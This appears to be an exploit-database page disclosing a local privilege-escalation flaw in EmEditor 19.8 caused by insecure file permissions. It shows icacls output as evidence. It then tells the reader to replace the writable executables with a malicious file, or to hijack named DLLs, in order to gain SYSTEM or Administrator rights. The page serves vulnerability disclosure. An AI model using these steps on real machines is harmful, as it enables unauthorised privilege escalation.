Search for hundreds of thousands of exploits

"EmEditor 19.8 - Insecure File Permissions"

Author

Exploit author

SajjadBnd

Platform

Exploit platform

windows

Release date

Exploit published date

2020-04-29

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
# Exploit Title: EmEditor 19.8 - Insecure File Permissions
# Date: 2020-04-27
# Exploit Author: SajjadBnd
# Vendor Homepage: https://www.emeditor.com/
# Software Link: https://support.emeditor.com/en/downloads/suggested
# Version: 19.8
# Tested on: Win10 Professional x64

[ Description ]

EmEditor is a fast, lightweight, yet extensible, easy-to-use text editor for Windows.
Both native 64-bit and 32-bit builds are available, and moreover,
the 64-bit includes separate builds for SSE2 (128-bit), AVX-2 (256-bit),
and AVX-512 (512-bit) instruction sets.

[ PoC ]

C:\Users\user\AppData\Local\Programs\EmEditor
Ξ» icacls *.exe

ee128.exe NT AUTHORITY\SYSTEM:(F)
BUILTIN\Administrators:(F)
DESKTOP-K4UDI4I\user:(F)

ee256.exe NT AUTHORITY\SYSTEM:(F)
BUILTIN\Administrators:(F)
DESKTOP-K4UDI4I\user:(F)

ee512.exe NT AUTHORITY\SYSTEM:(F)
BUILTIN\Administrators:(F)
DESKTOP-K4UDI4I\user:(F)

EEAdmin.exe NT AUTHORITY\SYSTEM:(F)
BUILTIN\Administrators:(F)
DESKTOP-K4UDI4I\user:(F)

eehlpver.exe NT AUTHORITY\SYSTEM:(F)
BUILTIN\Administrators:(F)
DESKTOP-K4UDI4I\user:(F)

eeupdate.exe NT AUTHORITY\SYSTEM:(F)
BUILTIN\Administrators:(F)
DESKTOP-K4UDI4I\user:(F)

emedhtml.exe NT AUTHORITY\SYSTEM:(F)
BUILTIN\Administrators:(F)
DESKTOP-K4UDI4I\user:(F)

EmEditor.exe NT AUTHORITY\SYSTEM:(F)
BUILTIN\Administrators:(F)
DESKTOP-K4UDI4I\user:(F)

emedtray.exe NT AUTHORITY\SYSTEM:(F)
BUILTIN\Administrators:(F)
DESKTOP-K4UDI4I\user:(F)

emedws.exe NT AUTHORITY\SYSTEM:(F)
BUILTIN\Administrators:(F)
DESKTOP-K4UDI4I\user:(F)

Successfully processed 10 files; Failed processing 0 files

[ Exploit - Privilege Escalation ]

Replace any *.exe files with any executable
malicious file you want then wait and get SYSTEM or Administrator rights (Privilege Escalation)
- Also you can use DLL Hijacking technique(emonig.dll,emregexp.dll,emtoast.dll..) ;D
import requests
response = requests.get('https://www.nmmapper.com/api/v1/exploitdetails/48398/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.